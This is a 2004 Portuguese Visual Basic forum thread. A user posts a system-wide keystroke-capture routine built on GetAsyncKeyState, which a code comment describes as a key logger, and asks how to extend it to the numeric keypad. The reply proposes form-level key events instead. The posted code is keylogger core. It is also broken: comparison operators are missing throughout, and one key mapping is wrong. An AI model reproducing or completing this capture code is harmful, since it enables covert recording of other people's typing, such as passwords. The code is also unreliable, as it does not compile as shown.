API CAPTURAR TECLAS DO WINDOWS VIA VB

ELUCIMAR 16/03/2004 15:09:18
#15623
Boa Tarde a Todos Colegas!!!

Se for possivel gostaria que algum dos colegas me ajudassem a incrementar no codigo abaixo para que ele possa capturar as teclas do teclado numerico, as demais teclas o codigo captura beleza ele só não funciona quando é digitado algo no teclado numerico...
Desde já agradeço a quem puder me ajudar.

Private Declare Function InitCommonControls Lib "comctl32.dll" () As Long

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'(This is in the form as a Private Decla ration)

Private Const SHIFT_KEY As Integer = 16
' there have been other key loggers that
Private KeyLoop As Integer
Private KeyResult As Long
Private bShift As Boolean
Public sKeyPressed As String
Public Function bGetKey() As Boolean
KeyLoop = 65


Do Until KeyLoop = 91 ' check For letters
KeyResult = GetAsyncKeyState(KeyLoop)


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, Chr(KeyLoop), LCase(Chr(KeyLoop)))
GoTo KeyFound
End If
KeyLoop = KeyLoop + 1
Loop
KeyLoop = 48


Do Until KeyLoop = 57 ' check For numbers
KeyResult = GetAsyncKeyState(KeyLoop)


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)


If KeyResult 0 Then
If KeyLoop = 48 Then sKeyPressed = ")"
If KeyLoop = 49 Then sKeyPressed = "!"
If KeyLoop = 50 Then sKeyPressed = "@"
If KeyLoop = 51 Then sKeyPressed = "#"
If KeyLoop = 52 Then sKeyPressed = "$"
If KeyLoop = 53 Then sKeyPressed = "%"
If KeyLoop = 54 Then sKeyPressed = "^"
If KeyLoop = 55 Then sKeyPressed = "&"
If KeyLoop = 56 Then sKeyPressed = "*"
If KeyLoop = 58 Then sKeyPressed = "("
Else
sKeyPressed = Chr(KeyLoop)
End If
GoTo KeyFound
End If
KeyLoop = KeyLoop + 1
Loop
KeyResult = GetAsyncKeyState(13) ' check For enter


If KeyResult = -32767 Then
sKeyPressed = vbCrLf
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32) ' check For space


If KeyResult = -32767 Then
sKeyPressed = " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) ' check For Backspace


If KeyResult = -32767 Then
sKeyPressed = " BKSP "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46) ' check For Del


If KeyResult = -32767 Then
sKeyPressed = "DEL"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190) ' check For period


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, "", ".")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188) ' check For comma


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, "", ",")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186) ' check For colon


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, ":", ";")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191) ' check For question mark


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, "?", "/")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222) ' check For quotes


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, """", "'")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192) ' and so On


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, "~", "'")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, "_", "-")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)


If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult 0, "+", "=")
GoTo KeyFound
End If
bGetKey = False ' If you get here, no key found
Exit Function
KeyFound:
bGetKey = True
End Function
USUARIO.EXCLUIDOS 10/04/2004 04:45:01
#19744
Resposta escolhida
Não entendi muito bem o motivo do uso da API. Se você colocar, em um form com a propriedade KeyPreview = True e com um textbox, a rotina:

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Text1.Text = " " & KeyCode
End Sub

Private Sub Form_KeyPress(KeyAscii As Integer)
Text1.Text = " " & KeyAscii
End Sub

Irá capturar absolutamente todas as teclas que o usuário pressionar.
Se a sua necessidade for a de gerar uma aplicação sem nenhum formulário, aí eu entendo. Mas, se for, por exemplo, para desabilitar o Ctrl+Alt+Del, esqueça. No Windows XP, por exemplo, nenhuma rotina (nem API) irá funcionar, sem o auxílio da desabilitação de uma certa chave de registro.
E desabilitar essa chave significa permitir acesso remoto, também, portanto é uma chave perigosa de se mexer.
Tópico encerrado , respostas não são mais permitidas